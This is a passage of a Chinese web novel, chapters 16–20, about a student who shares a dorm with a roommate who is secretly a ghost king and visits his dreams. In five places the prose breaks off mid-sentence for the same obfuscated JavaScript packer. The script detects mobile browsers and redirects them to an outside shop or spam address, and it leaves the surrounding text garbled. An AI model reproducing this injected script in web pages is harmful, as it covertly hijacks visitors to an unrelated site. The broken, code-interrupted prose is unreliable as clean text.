※ 晚上溪白从浴室里出来时,工人已经上门将新买的床架装好,又铺上了床垫。 他擦着头发,抬起头看了一眼在床上铺床单和枕头的顾弛,满意点头。 终于不觉得看起来空间紧巴巴的了。 “这床不错。”溪白说。 顾弛低头看去,过分敏锐的非人类视觉精准捕捉到了从溪白发丝滑落,沿着纤细脖颈一路没入睡衣领口,最终消失在那片白皙锁骨之下的一滴水珠。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13108169|138211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他嗓音有些发紧,轻轻嗯了一声。 “还可以吧。” 什么叫还可以?明明很可以! 溪白道:“这床看着都能睡两个人了,是你太大只了。” 顾弛两条长腿盘着,坐在床上,后背靠着墙壁。 他眼皮低垂,先看了一下自己之外剩余的空间,随即目光横移,从上到下把溪白打量了一下。 “可你好像比较小只。” 觉得被嘲笑了的溪白愤愤:“你不要拿我跟你们班同学比!你们都是185的篮球生,当然觉得我小只!” 顾弛:“唔……” 溪白:…… 等等,好像有些暧昧了。 他这才意识到顾弛刚刚打量自己和他床铺的眼神,或许还能解读成另外一种意思。 虽然不知道对方是不是真的有这种想法,但耐不住耳朵不争气。 反手将开关一拍,溪白在黑暗之中顶着一双通红的耳朵,快速爬上床。 “睡觉了!” 顾弛躺在一片黑暗之中,听着对侧逐渐平稳的呼吸。 溪白睡得倒是挺安稳,可他的脑袋里却萦绕着还没找到答案的问题。 今天晚上,谢必安和范无赦听了顾弛的疑虑。 关于110的事情,他倒是得到了解惑,顾弛记错了数字,人类过的节日是520,而溪白打的110是报警电话。 在黑白无常解释完警察是什么之后,顾弛终于明白自己误会了溪白。 他没有对那纸人鬼有什么其他的感情。 但顾弛也有了第二个问题。 溪白……不会把现在的自己,也就是顾弛,当成了人类吧? 谢必安和范无赦告诉他很有这个可能。 顾弛虽化作人形,却从未隐藏过自己的真实气息,否则谢必安和范无赦也看不穿他的伪装。 莫非溪白看不出来? 他本以为溪白见到他的人形之后表露出来的态度,是从抗拒转化到接纳的过程。 但如果溪白不知道他就是那天入梦的鬼,这就能解释为什么今天溪白会从他手里面无表情地顺走纸人鬼,然后见谢必安和范无赦之前要刻意避开他,让他去接受那个无聊的对着机器说话的事情了。 顾弛从床上坐了起来。 即使光纤昏暗,他依旧可以清楚地看清对面床上安睡的人身上的每一根汗毛。 五官精致,小小的,皮肤很白,看着也很软。 顾弛决定做个试验。 他又躺了下去,闭上眼。 一股黑雾从眉心溢出,横跨宿舍两端,在半空之中划过一道弧形之后,钻入了溪白的印堂之中。 16. 第 16 章 冰冰凉凉的,好舒服。 身体的每一个毛孔在恰到好处的低温下肆意舒展,就像夏日空调房里抱着一张凉感冰丝被。 溪白惬意地翻了个身,曲起一条腿。 但毫无支撑的触感,让他的意识恍惚了一阵,手掌下意识地往本该是床垫的地方摸了摸。 空无一物。 溪白猛地清醒了过来。 大脑思绪回笼,失重坠落感并未像潜意识预料地那般到来。 只是他刚松了的一口气,在看清面前情状的那个瞬间,又重新提到了喉咙眼。 是那个大色鬼! 溪白慌乱地寻找四周的掩体,但看到的只有一片黑雾。 一个高大的身形自雾气之中浮现,陌生又熟悉。 陌生是因为只见过一次,熟悉是因为见了一次就永远忘不了。 溪白捧脸,无声尖叫。 啊啊啊啊救命! 高大的身影渐渐逼近,溪白连呼吸都几近停滞。 但很快,鬼王的动作似乎停了下来,并没有继续靠近的意思。 溪白听见雾气里似乎传来一点轻微的咳嗽声。 “你还记得我吗?” 溪白死死抿着唇。 当然忘不了! 前两天才骗他说他阳寿将尽,还说喜欢他。 对人鬼情未了的情节并不感冒的溪白,只觉得被鬼,还是鬼中之王盯上的体验并不如话本里说的那般心情悸动,神魂颠倒。 他只觉得害怕。 在此刻,溪白无比地想念顾弛,想念他抓着自己的那只宽大温热的手。 隐约之间,溪白又听到了一点动静。 距离更加遥远,只有几个词汇,并非自口中说出。 他下意识地出声:“什么伪装……什么掩藏?” 鬼王:! 溪白:“这么远也能听到……我,我还觉得你靠得太近了!” 极度的紧张和害怕让他不自觉提高了声音,都说恶鬼也怕恶人,溪白想着只要他语气够凶,声音够大,说不定鬼王就能被吓跑。 然后他又听到了一句模模糊糊的心声。 “可爱……张牙舞爪……小猫……” 溪白:…… 紧咬着牙关,溪白捏着拳头,虽然他不知道自己能有什么手段,但心情已经做好了拼命的准备。 但出乎预料的。 下一秒,雾气渐渐向后褪去,如海面退潮,再不复返。 猛地坐起身,溪白倾身朝阳台看去。 窗外的天空,仍旧一片漆黑,即使是正对着的远处群山之上,也不曾见到什么朝阳晨曦的痕迹。 天并没有像他猜想的那般亮起来。 也就是说,鬼王并不是被日出赶走的。 那它又为何离去? 溪白仔细思考了一下两次的梦。 刚刚鬼王突然离去,是在自己听到几个模糊的词汇后;而上一次鬼王的落荒而逃,也是因为它被自己听见了“心声”,拆穿了谎言。 莫非它还有其他担心自己听到的事情? 会是什么呢? 鬼心难测,溪白对鬼王的心思毫无头绪。 但他却清楚地抓住了一个关键。 不管怎么样,必须要将危机扼杀在摇篮里! 至少得先度过一个平安夜! 溪白下定决心,缓缓地转过头。 ※ 又被拆穿了…… 魂魄重新操控躯壳,顾弛活动了一下四肢。 双目闭阖,还未适应人类身体,因此呼吸极轻。 他的眼前虽是一片漆黑,但渐渐地,又浮现出另外一个身影。 清瘦,小巧,站在属于他的阴雾包围之中,抿着唇神情紧张,但又色厉内荏地保持着尽量凶狠的小表情。 看起来真的很可爱。 像被吓到了的气鼓鼓的小动物。 但今晚也不是毫无收获。 刚刚梦里,溪白的反应基本上已经让顾弛获得了一个肯定的答案。 在对方眼里,“顾弛”≠“鬼王”。 那过往彼此之间的种种,或许都要重新审视一番。 溪白对他的态度转变,并不是因为他变出了人类的躯体,能以人类的身份生活着阳世之中,就接受了他实际是鬼的身份。 而是溪白真的把他当成了一个活人,才肯与他接触。 本质上的溪白,还是抗拒与鬼魂的任何深度交集。 逐渐适应了人类的躯体,以及非人类绝对不可能会有的温暖温度,顾弛深呼吸了一口气。 敏锐的听觉让他在身旁的空气之中捕捉到了一些动静。 还嗅到了淡淡的,让他嗅觉神经极度兴奋的一丝气味。 双目睁开,顾弛扭过脸。 果然,他看到了一个站在自己床边的,清瘦的身影。 溪白怀里似乎还有什么东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13108170|138211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西……顾弛定睛细看,发现是一只枕头,每天回到宿舍的时候,他都能看到这只枕头放在溪白的床上。 这阵动静似乎吸引了溪白。 顾弛依旧盯着床下,就见一张精致的小脸缓缓抬起,他对上了一双圆溜溜的,映着不知从何处传来的些微熹光的眼睛。 “溪白。” 顾弛的声音有些哑。 “顾弛。” “嗯。” “我是不是吵醒你了。” “……” 好乖。 和梦里一点都不一样。 “对不起。” “没有。” 顾弛坐了起来,道:“你没有吵醒我。” 漂亮的眼睛轻轻眨了眨。 “有什么事吗?”顾弛盯着溪白怀里看上去很软,但似乎并没有他本人的脸蛋软乎的枕头,问道。 溪白沉默了一会儿。 “我做噩梦了。” 顾弛轻轻一挑眉。 “可以……和你将就一晚吗?”溪白道。 人类的视觉,让他并不能捕捉到黑暗里,床上坐着的那人嘴角翘起的弧度。 在尺寸格外长的新床铺上躺下,溪白伸了伸腿。 …… 果然像他想的一样,顾弛睡着只能说刚好的床,他绷直了脚尖都够不到底下的床栏。 “我睡觉很乖的,不会挤到你。”溪白认真地做出保证。 顾弛嗯了一声,“我知道。” 他知道什么? 但溪白没有细想,只沉浸在室友大方慷慨地收留他的感动之中。 “谢谢你,顾弛。” “嗯。”顾弛又嗯了一声,“睡吧。” 溪白闭上眼睛,心中窃喜。 太好了,只要在顾弛旁边,有他极阳的八字坐镇,那个鬼王估计就不敢再来。 这个室友,真的选的不亏。 只是躺着躺着,溪白一路回忆这些天两人的交集,突然又想起一个事。 他侧身贴着栏杆,一道低沉的呼吸在背后,清晰可闻地传来。 “那个,顾弛……” 溪白弱弱地开口。 稍许,顾弛的回应传来,不知是不是他快睡着了,声音比之前低沉。 “嗯?” 溪白小心翼翼地,提出了心情恳切的一个要求。 “你能不能……不要侧着睡。” 他怕被怼。 17.第 17 章 一夜的无梦好眠,让溪白在早上醒来的时候,觉得连身体都轻盈了不少。 蹭了蹭枕头翻了个身,溪白还没清醒,只觉得床似乎比平时要窄些,而躺着的垫子好像也没往日那么软和。 他的床怎么变了? 溪白伸手就往后摸索。 他不知道自己碰到的是什么,于是又按了按。感觉有点高低起伏,一块一块的,不像墙壁,还带着温度…… 溪白动作一顿。 他突然想起来,自己昨天给顾弛买床垫来着。 溪白自己的床垫是很软的那种,因为他习惯窝着睡,但给顾弛买的支撑性更强,比较适合大部分的男生。 昨天溪白还在店里试躺了一下,当时他还说如果是他睡,晚上肯定失眠。 事实证明,溪白对于自己的判断偶尔也会失误。 他不仅睡得着。 而且睡得脑袋都迷糊了。 缓缓收回了那只作乱的手,溪白颈间吞咽了一下。 顾弛没醒顾弛没醒顾弛没醒…… 缓慢地转过头。 溪白:…… “早。” 盘腿坐在床上的顾弛微微歪了下脸。 明明应该是睡意未消的清早,但顾弛的双眼却看着无比清醒,盯着溪白的手,眼底有几分讶异,还有几分不易察觉出来的,淡淡的赧意。 但他仍旧直勾勾地盯着溪白看。 溪白注意到他的坐姿,再想到自己刚刚伸手的方向。 溪白:!! “你……” “我起床刷牙去了!” 溪白不等顾弛开口,即刻下床夺门而出,马不停蹄地逃往阳台。 顾弛目送溪白遁走,低头。 修长的手指勾开衣领,他往里看了一眼,八块腹肌排列得整整齐齐。 看溪白刚刚的动作好像很喜欢?顾弛心说。 那为什么不坦诚一点呢? 一边抓着电动牙刷在嘴巴里漫无规律地洗漱,溪白一边开着冷水,不停用手接了往脸上拍。 就是这热意来的凶猛,冷水也带不走多少。 溪白只能说幸好他清醒得早,否则再往下一点,他这个昨晚还避之唯恐不及的人,今早恐怕就要亲自当一次升旗手了。 屋内传来脚掌踩地的声音,溪白忙将视线从阳台门的方向收回。 人从身后经过,带起一阵风。 顾弛伸手,轻巧地将挂在天花板晾衣绳上的一件衣服拿了下来。 溪白刚想表示无语。 顾弛却把衣架拆了下来随手挂在一旁,一只手撩起身上睡衣,一小片清晰漂亮的腹肌,自揭起的衣摆下方露了出来。 溪白:! 顾弛衣服脱到一半,突然想起什么。 他保持着撩衣服的动作,看溪白。 “你介意吗?” 溪白想介意的。 但大家都是男生。 又是舍友。 于是话到了嘴边,脱口而出的就是三个字。 “你换吧。” 顾弛动作很利索地把睡意换成了一件休闲的T恤,但动作再快,也给溪白那脆弱幼小的心灵,留下了磨灭不去的深刻印象。 溪白漱口漱得特别用力,水流在口腔里哗啦哗啦的。 但依旧冲不散自己那说不定什么时候就会呼之欲出的,无法控制地接二连三冒出来的心声。 ——顾弛的身材未免也太好了。 ——怪不得刚刚的手感那么清晰分明的。 ——还好反应快,没有变成升旗手。 “你昨晚后半夜睡得怎么样?” “咳咳咳!” 溪白好悬没被一口水呛死,他扶着洗手台边沿咳嗽,一只手掌轻轻给他拍着后背。 “没,我没事。”溪白轻轻挡了一下,撤开半步,将手里的牙刷和漱口杯收拾好。 他拿过毛巾,打湿后拧干。 顾弛看着溪白擦脸,听见他的声音闷闷地从毛巾之后传来。 “那你呢。” 一双漂亮的大眼睛,从毛巾的上端悄悄探了出来。 “你昨晚……睡得还好吗?” 那双眼睛也没什么刻意的传情,就只是看着自己,轻轻地那么眨动两下。就好像是撞上顾弛心口的钟摆,直接乱了他心跳的节拍。 溪白拿着毛巾,挡着大半张脸,那黑溜溜的眼珠下方,是抓着毛巾边缘的两只手。 刚刚就是这只手,在他的小·腹上胡乱作怪。 顾弛手里半干的毛巾,在这一瞬间被攥得淌出水滴。 “我睡的很好。” 他喉咙发紧地说。 ※ 今天是周一,溪白和顾弛都有早课。 但两人一起吃早饭的时候,溪白觉得顾弛的心情好像很好,还给他分了半笼生煎包,身上似乎一点都没有大学生群体里高发的周一综合征。 明明昨天晚上回到宿舍的时候,心情还不怎么好的样子来着。 大型犬的情绪起伏都这么大的吗? 出了食堂再到教学楼,他俩就不是在一层上课了。 四周的人流很多,都是来上早课的学生们,一个两个都恹恹无神。 垂着的手被蹭了一下,溪白肩头似乎是落下一句很轻的话。 “人好多,别挤到溪白了。” 溪白抬起头时,顾弛的手刚好搭上他的肩头,把人往自己身边带了一点。 ! “小心,有人。” 顾弛的声音再次传来,而溪白原本站着的那边,一个肥胖的男生粗鲁地挤开人群往楼上跑去,而前面不少来不及躲避的同学都被他撞到了。 溪白回神道谢,而肩头的那只手掌仍旧搭着未动,自掌心源源不断传来的温度,像是文火烘烤一般,让心脏保持着比往日要更加迅速一些的跳动。 “我到了。”溪白撤开半步,让肩头的手掌自然滑落。 他抓着书包的肩带,向顾弛点了点头,转身小跑离去。 只是依旧抵挡不住温热蔓延到耳尖,燎起一阵轻微的痒意。 以至于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13116254|138211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 溪白根本没有发现,他在刚刚听见第一句的时候,自己身旁的顾弛其实根本没有张口说话。 ※ 溪白来到专业课教室,进门找了个位置坐下。 这堂课是小班教学,人不多,但却显得格外逼仄——溪白仔细观察了一下,才发现原因在于今天似乎有不少人在看他。 见溪白看来,那些目光都迅速地收了回去。 没等溪白想明白,就听见后边一声激动的呼唤。 “溪宝!” 庄算拖着斜挎包平移到溪白身旁的空位坐下,开口的第一句话就让人一头雾水。 “溪宝,你和顾弛搬出去了呀?” 溪白一脸懵圈地询问过后,才知道了真相,也意识到了为什么庄算会那样问,而刚刚周围的同学们会用那种吃瓜猹的眼神看他。 庄算给溪白看了个视频——关于家具城案件的现场采访视频。 不知道是谁看了新闻直播,然后做了个片段剪辑发到了弹幕网站上,而此时那支视频里已经有差不多二十万的播放了。 视频的前半部分是溪白的采访,回答的有理有据。 而后半段,是溪白去找谢必安和范无赦问自己阳寿的问题时,顾弛做的采访。 “你和刚刚那个男生是一起来的吗?” “嗯。” “你们是来买家具的吗?” “嗯。” “哦哦!莫不是……装修新房?” “嗯,新房,我们是室友。” “原来如此,看出来了,你们关系很好。” “嗯,他很可爱,晚上睡觉很乖。” …… 弹幕密密麻麻的全是“yoooo”、“原来城里人管那种关系叫室友”、“嗑到了”、“嗯,新(hun)房”……溪白看得面红耳赤,后面顾弛说的什么话他都没听全。 脑袋像磁带卡住了一般,不停回放重播着顾弛刚刚语气十分自然的那一句话。 “他很可爱,晚上睡觉很乖。” 他也再次想起,自己昨晚梦到鬼王后跑去顾弛那边求收留时说自己睡觉很乖,而对方回了一句“我知道”的事情。 他知道个屁! 溪白羞愤交加,直接炸毛了。 [White:【视频链接】] [White:?] [顾:怎么了?] 溪白气鼓鼓,顾弛还好意思问他怎么了! [White:你为啥说的是“装修新房”] 但话发出去,溪白突然想到昨晚对方的收留,加上未来自己可能还要被迫“寄人床上”,他觉得自己还是应该相对温和一些。 [White:呀?] 还没打上课铃,估计顾弛也是拿着手机,消息回的很快。 [顾:因为我刚搬进来] 溪白:…… 倒也没错。 但为什么听起来那么奇怪! [White:那“他很可爱,睡觉也很乖”又是什么?!] [顾:是事实] 18.第 18 章 溪白一下就没法回复了。 也不知道是顾弛的语气太过理所当然,还是敲出来的字太过有冲击力,反正溪白整个人像是被迎头狠狠撞了一下。 按着屏幕的指尖都在发麻,他回忆起今天早上半梦半醒之间自己一阵乱摸,然后又转头,发现顾弛坐在床边垂眸看着自己的那个瞬间。 看顾弛的模样,都不知道他当时已经醒了多久! 气血一阵上涌,这下撞到大脑的是身体里的内劲了。 溪白得救于窗外传来的铃声,他手忙脚乱地回了句“我上课了”,就翻面扣住了自己的手机。 庄算目移。 溪白:“怎么了!” 庄算:…… “溪宝。” 溪白:“……干吗!” 庄算:“你说,顾弛有腹肌吗?” 溪白:………… 他某只做过坏事的手现在好像更麻了。 庄算看他表情不对,就解释道:“没,不是我关心,是弹幕说顾弛这样看起来就是有八块腹肌的那种男生,还说什么……” 溪白有些没底气:“……什么。” 庄算:“体型差。” 庄算:“嘿嘿……咳!” “他就是长得高点!”溪白弱弱地反驳了一句。 “明明是’很高’吧?”庄算对溪白的描述不甚赞同,“都快两米了吧?” “明明只有195。” 嘴快过脑子的溪白回过神,就发现庄算看自己的眼神整个都不对了。 →ω→ 溪白:…… 完蛋,为什么庄算脸上也开始出现颜文字了! ※ 溪白放学回到宿舍的时候,房间里还空无一人。 就是那摆放着的和学校标准规格大相径庭的床铺格外显眼。 溪白把包随手一挂,用目光丈量了一下。 1m2的床,顾弛躺下后大概占多少?70%,还是60%? 那他岂不是只占30%到40%?他个子有那么小吗,好歹穿鞋后也快1米8了! 溪白一边想一边出了阳台。 刚从外面回来,他先洗了个手。打出满手泡沫,正仔细地搓着指缝时,阳台外一阵风吹过,带起一片摇晃交错的日光落影。 溪白抬起头,看到晾衣杆上晒着的两人的衣物。 顾弛的休闲裤也挂在上边,随风飘荡的裤管长得溪白都有些头晕。 也许是因为本身高,加上身材好,比例也好,顾弛看起来就是很大只,也难怪庄算觉得他快两米了。 不仅如此,这人还是个天生的衣服架子,阳台上不少顾弛的衣服,但都没有那种看着非常精致的,都是普通大学生会买来穿的衣服。 但不管是穿球衣、休闲服甚至睡衣,都看着赏心悦目的。 溪白越想,越觉得有些忿忿,又想起前两天顾弛刚搬进来晾衣杆坏了的那次。 明明看着蹦一蹦就能碰到的,但溪白怎么跳那衣架都挂不着,而顾弛伸手就把衣服勾上去了。 风吹衣摆,摇摇晃晃,晃得溪白更加忿忿。 于是他跳起来,伸长胳膊。 没摸着。 仔细观察了一下衣架的最低点,又蹦起来。 还是没摸着。 用手指去怼衣架,抓着衣摆去掀整个衣服、手撑着阳台栏杆借力跳得更高……溪白使出了浑身解数,但除了让那件衣服晃得更加厉害以外,贴着晾衣杆的衣架弯钩处,依旧稳稳地挂在顶上。 专心跟衣架奋斗的溪白,没有听见屋内传来的一阵很轻的开门声。 甚至没注意到身后逐渐靠近的脚步,和一声极低的轻笑。 直到他蹦起来,双脚却没有紧跟着第一时间落地。 而是被一双手钳住了腰侧,随着一股向上的大力,整个人被轻而易举地送到了天花板前。 溪白回头,看见顾弛正以一个十分稀奇的角度——仰脸——望着自己。 而那双有力而修长的手掌,就是托起他的力道来源。 “收衣服。”顾弛提醒他。 溪白哪有什么衣服收,但他还是立刻回过头,随便抓了几件晒干了的自己的衣服,急匆匆地往下抛了一句:“好了。” 重新踩回地面的那一刻,脚底顿时传来一阵虚浮。 腰间的手已经撤回,但余留的温度和力道,却依旧隐隐提醒着方才发生的事。 顾弛就这么把他举起来了? 溪白努力消化着这个事实。 这时,那双手从面前横伸而过,当着溪白的面拿起来一样东西。 溪白顺着顾弛的手臂看去。 是他前两天买的新晾衣杆。 拼夕夕特供加长版的。 溪白:…… “我先进去了。” 顾弛倒是没有进来,而是在阳台,动作悠闲地一件一件守着衣服。 溪白看过去的时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13127926|138211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被他抓了个正着,忙不迭收回视线,把自己整个人都埋进了衣柜里。 等把手里的衣服一件一件地拆下来,叠好,又重新套上衣架,再在衣柜的横杆上重新挂好,溪白脸上的余热终于重新褪去,将自己从充当遮蔽物的衣柜里解放了出来。 害他如此尴尬的人已经从阳台回来了,正在床上挂蚊帐。 “怎么买蚊帐了。”溪白随口问了一句。 顾弛回答的语气和溪白询问的一样自然。 “昨晚看你招蚊子。” 又是一阵诡异的沉默,溪白最后选择把自己的脸重新埋进衣柜里,继续折腾他的衣服和衣架。 [神算子:溪宝!提问!] 正好不知道该做什么排解尴尬的溪白立刻拿着手机抠了个问号回去。 [神算子:所以顾弛真的有八块腹肌吗?] 溪白:…… [White:不知道!] [White:建议你问他本人呢亲!] 溪白的本意,是庄算爱怎么嗑怎么嗑,他只要心平气静,问心无愧就行。 但从他站着的那个位置一转头,视野范围不可避免地就覆盖到了对面床上的顾弛。 高大的男生单膝跪在床上,因为太高了快要碰到天花板,不得已被迫微微弯着腰。 他修长的手指抓着蚊帐一角的绑绳,在床上的铁质竖杆上灵活地打了个圈结,将绳尾从绳圈里抽出来时可以看到手背上的青筋,曲起的指骨节更是棱角格外清晰。 而目光向下时,更是看到顾弛因为伸手去绑绳结而被带起的衣摆下露出的一小片腹肌。 清早那模糊但深刻的手感记忆再一次浮现出来。 溪白在心里默默地回答了庄算刚刚的那个问题:有。 不仅有,而且八块,清晰分明。 溪白莫名就看出几分口干舌燥来。 他想要移开目光,但却在此时迎面碰上了顾弛突然投下来的视线。 无端有一种被抓包的心虚感,溪白正想移开眼,顾弛却开口了。 “溪白。” 这一下,本想逃避的溪白立刻硬着头皮,重新迎上了对方的目光。 反正露腹肌的又不是他,他有什么好羞…… “你要是想看可以直说。” 溪白:…… “我哪有想…” 话音未落,顾弛已经伸手把自己的衣服直接撩了起来。 溪白:………… 19.第 19 章 溪白无法解释。 毕竟从他早上半梦半醒之间对着顾弛的腹肌一顿输出开始,事情就在往诡异的方向发展。 所以他觉得干脆什么都不说。 今天晚上的溪白本身在犹豫要不要再跟顾弛挤一夜。 结果等他吹干头发转过头的时候,对铺上躺着刷手机的男生就像背后长了眼睛似的,往墙壁那边挪了一节,空出一段刚好能躺下溪白的位置来。 溪白:…… 毕竟鬼王昨晚才来过。 溪白想了想,最终还是爬了上去。 他的被子还在顾弛的床上放着,被角和顾弛的被角卷作一团。 将两人的被子各自分开的时候,溪白清楚地看到顾弛的眼睫明显垂落了一下。 溪白:…… 只是把被子分开而已。 表情不用显得这么委屈吧? 溪白将顾弛的被子往他那边推了推。 还好,没有发生像他脑袋里控制不住脑补的那样,顾弛伸手把被子抱过去,然后低头闻一下之类的事情。 果然大型犬什么的,都是他脑补出来的错觉。 溪白把灯关了重新爬回床上。 他自顾自地松了口气,并没有发现身边的顾弛默默地在黑暗中,用被子盖住了他自己的半张脸。 还抬起手抓住被角,狠狠地往脸上搓揉了一下。 ※ 不得不说,有个八字堪比小太阳的人在自己身边,溪白发现这几天他睡得特别好。 梦里没有再出现什么鬼王,身上也没有再多出什么奇怪的红痕,而且天天都是一觉到天亮,白天精神特别足。 实话说,他都有些后悔当初把床买小了。 但洗白自己也知道,这种事情肯定不能太久。 他和顾弛,毕竟只是室友关系,这两天情况特殊,他不得不“寄人床上”。 但溪白自己是弯的,而顾弛虽然对他好,溪白自己偶尔也会有些心潮澎湃,但对方取向不确定,就算确定了,两人也没有正式的关系。 心里虽然十分矛盾,但溪白最终还是选择了理智。 在基本确定了鬼王短期内应该不会再来之后,溪白觉得自己应该搬回去了。 于是,在某个下午放学回到宿舍,顾弛发现自己的床上少了一张熟悉的枕头和被子时,脸色立刻就沉了下来。 平日里干净清澈,晒个太阳都能融进背景里的大型犬,此时的气质陡然就变了。 窗玻璃逐渐自下而上蒙上了一层冷霜雾,深邃如墨的眼底闪过不可探究的沉色。 当獠牙亮出,见者才能清醒地意识到面前的不是什么大型犬,而是气势凛冽的一头狼。 咔哒。 门锁的弹响自背后传来。 顾弛回过头的时候,表情一切如常,窗玻璃上的寒霜也瞬间褪去。 除了唇角的弧度从往日的上翘,变成了紧绷的平直。 顾弛腿长,哪怕同时下课,他回来得都要比溪白早。 所以看到顾弛在房间里的时候,溪白并不觉得有什么好意外的,也没有发现对方的状况与往日有着细微的差别。 把宿舍钥匙随手一挂。 溪白放下书包,又翻出来一个小的随身挎包。 “我今晚和庄算吃饭喔。” 顾弛开口,却说的是另一个话题。 “你把被子搬回去了?” 溪白嗯了一声,“是呀,这两天不做噩梦了,就不打扰你了。” 床毕竟只有1m2宽,顾弛又大只,两个成年男生再怎么躺,还是有些挤的。 这几天他们两个人基本都是同吃同睡,室友情——单纯的那种——也算是突飞猛进了。 而且在那天的“腹肌事件”过后,也没有其他的“意外”再发生。 没有再碰什么不该碰的,也没看到什么不该看的。 一切似乎又重新回到了正常的轨迹之上,他们各自上课,一起吃饭,然后晚上溪白借宿,睡得极为安稳。 所以溪白说这话时根本就没有多想,也没有担心顾弛会因为这个不高兴。 宿舍门很快又重新开合了一次,房间里再度只剩顾弛一人。 这一次 ,爬满全屋的寒霜直接冻出了蛛网状的裂纹。 ※ 溪白不在,饭也没有什么好吃的了。 顾弛坐在床上,腿边放着叠好的,他的那张薄被。 明明前两天这床被子还和另一床被子紧紧地交缠在一起,明明前两天自己的枕头旁边还摆着另一只很香的小枕头。 但现在不管是被子枕头,还是用被子枕头的人,都不在他身边了。 顾弛的眼神幽怨地扫过对面的床铺。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13139183|138211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他脑海里突然浮现出来一个问题。 这些天,顾着沉溺在睡觉前的最后一眼和睡醒后的第一眼都能看到溪白的快乐之中,顾弛并没有去思考过:为什么溪白会突然抱着枕头到他床上来。 但此时回想起当日买床时,溪白明显并无考虑过双人床,更没有一丝会和这张新床铺有交集的意思,顾弛意识到这之间一定有什么其他的原因。 思来想去,他很快把溪白的“变化”归因到了一件事上:那天晚上,他为了确认溪白对“顾弛”身份的认知,入了溪白的梦。 再想想,溪白突然找室友,好像也是在他第一次入梦之后。 耳朵动弹了两下,顾弛从冷静思考的状态里抽离出来,目光看向宿舍门口。 溪白推门进来的时候,就看到自己的室友坐在床上看着自己。 嘴角似乎还带着一点很浅的笑意。 “你看着挺高兴的。”溪白说。 顾弛嗯了一声。 “怎么了,有好事?” 顾弛一个翻身轻松跳下了床。 “是啊,发现点有趣的事情。” 熄灯的时候,溪白还莫名冒出个念头:自己这样突然搬回自己这边的床,顾弛不会不高兴吧? 但转念一想,他这莫不是真把人当大型犬了。 本身宿舍的床就小,顾弛又大只,指不定人家前几天睡得多不舒服。 没见今晚顾弛总时不时就很高兴的样子么。 于是,溪白心安理得地睡着了。 与深睡相反的,是渐渐放轻的呼吸,在溪白彻底睡熟的那一刻,一道在旁窥伺已久的黑雾,带着几分急切钻入了他的额前。 夜半,明月洒下的华光拢着树枝,顾弛的意识回笼时,他缓缓睁开眼。 床边站着一个清瘦而熟悉的身影,怀里抱着枕头和被子。 顾弛向旁边挪开一点位置,溪白开始甚至还没反应过来。 忙不迭吭哧吭哧地爬上去,溪白小心翼翼地将自己的小枕头和被子铺好。 “……打扰你了。” “嗯哼。” 溪白闭上眼睛,心中感慨自己的室友真的好大方好善良。 闻着好闻的松木冷香,他很快就重新沉入了睡眠。因此也并没有看见黑暗之中,顾弛那悄然翘起的,满是得逞与满足之意的唇角。 20.第 20 章 [White:我把床单和被套洗掉换新的咯?天气冷了,换磨毛的暖和] [White:你没有过敏性鼻炎之类的吧?] [顾:嗯,我没] [顾:辛苦了【大狗微笑】] [White:小事情] “弛哥,对面是校花吧?” 顾弛正打字,就听旁边传来一句充满八卦的声音。 徐骁一边随手抹了一把汗,一边探头探脑地看顾弛和溪白的聊天。 顾弛直接把屏幕锁了。 “诶别啊弛哥,我听说你和校花最近感情很好嘛。” 徐骁说着挑了挑眉。 “都发展到洗床单的程度了,啧,校花真是贤惠。” 